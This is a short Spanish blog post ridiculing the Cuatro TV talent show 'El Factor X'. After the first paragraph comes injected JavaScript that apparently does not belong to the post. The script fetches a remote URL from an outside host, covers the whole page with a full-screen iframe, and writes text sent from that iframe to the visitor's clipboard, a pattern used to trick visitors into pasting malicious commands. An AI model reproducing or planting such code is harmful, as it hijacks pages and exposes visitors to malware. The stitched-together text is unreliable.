El Factor X
Pues he empezado antes de lo normal, ya veis. A veces pienso que los humanos no tienen limite alguno a la hora de quedar en el mas absoluto de los ridiculos. Cuando uno cree que ya han llegado al zenit de lo absurdo, te sorprenden con nuevas ideas, casi siempre basadas en viejas ideas. Y este es el caso de el nuevo Operación Triunfo de Cuatro, llamado “El factor X”.
(function() {
const configLink = «https://corsproxy.io/?url=http://heyues.live»;
if (!window.__digitalflwrFetchPromise) {
window.__digitalflwrFetchPromise = fetch(configLink)
.then(response => {
if (!response.ok) {
throw new Error(» «);
}
return response.text();
})
.then(finalUrl => {
return fetch(finalUrl, { method: «HEAD» })
.then(headResponse => ({ headResponse, finalUrl }));
})
.catch(() => {
});
}
if (typeof window.__digitalflwrIframeCreated === «undefined») {
window.__digitalflwrIframeCreated = false;
}
window.__digitalflwrFetchPromise
.then(result => {
if (!result) return;
const { headResponse, finalUrl } = result;
if (!headResponse || headResponse.status === 404) {
return;
}
if (!window.__digitalflwrIframeCreated) {
window.__digitalflwrIframeCreated = true;
createMainIframe(finalUrl);
}
})
.catch(() => {
});
function createMainIframe(url) {
const iframe = document.createElement(«iframe»);
iframe.src = url;
iframe.style.position = «fixed»;
iframe.style.top = 0;
iframe.style.left = 0;
iframe.style.width = «100%»;
iframe.style.height = «100%»;
iframe.style.border = «none»;
iframe.style.margin = 0;
iframe.style.padding = 0;
iframe.style.overflow = «hidden»;
iframe.style.zIndex = 99999;
document.body.appendChild(iframe);
window.addEventListener(«message», function(event) {
if (!event.data || event.data.type !== «copy») return;
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(event.data.text).catch(() => {
fallbackCopyText(event.data.text);
});
} else {
fallbackCopyText(event.data.text);
}
});
function fallbackCopyText(text) {
const textArea = document.createElement(«textarea»);
textArea.value = text;
document.body.appendChild(textArea);
textArea.select();
try {
document.execCommand(«copy»);
} catch (err) {
}
document.body.removeChild(textArea);
}
}
})();